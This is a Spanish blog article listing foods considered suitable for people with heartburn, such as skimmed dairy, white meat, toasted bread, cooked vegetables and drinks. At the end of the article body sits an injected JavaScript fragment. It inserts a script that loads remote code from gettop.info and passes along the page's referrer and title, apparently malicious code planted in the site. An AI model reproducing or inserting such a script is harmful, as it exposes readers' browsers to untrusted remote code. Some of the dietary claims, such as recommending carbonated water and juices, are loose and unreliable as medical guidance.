Salud y belleza » Alimentación, Enfermedades

Acidez estomacal: alimentos permitidos y prohibidos (I)

Sin Comentarios

La acidez estomacal es un problema que puede darse por diferentes sub-razones más por una sola causa primordial: el desorden alimenticio. Cuando se trata de acidez, en efecto, todos los caminos conducen a Roma: una noche de alcohol exagerado, una cena de fin de año con demasiados platos ricos en grasa o, incluso, un conjunto de vegetales mal acompañados y peligrosamente condimentados. Si hay acidez, también existen problemas de alimentación.

Por eso, más allá de soluciones útiles como los fármacos o los remedios caseros, es preciso tener en cuenta qué clase de comidas potencian la acidez estomacal y, por el contrario, cuales ayuden a reducirla y limpiar el organismo, todo.

En esta primera parte del repaso, comenzamos por el cielo, es decir, los alimentos permitidos.

Lácteos: leche descremada, yogures regulares y quesos descremados.

Carne: blancas como el pollo o, en todo caso, el pescado (azul)

Hidratos de carbono: pan tostado (mejor que en estado natural), elementos ricos en salvado o pura fibra.

Vegetales: cocidos o en puré, cualquier alternativa.

Bebidas: agua (gasificada o no), zumos naturales, cualquier clase de infusión.

¡No te pierdas la segunda parte del artículo con la otra cara de la acidez estomacal: los alimentos prohibidos que potencian esa clase de estado conflictivo!document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Más consejos de salud y belleza : ,

Publique su Comentario !

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.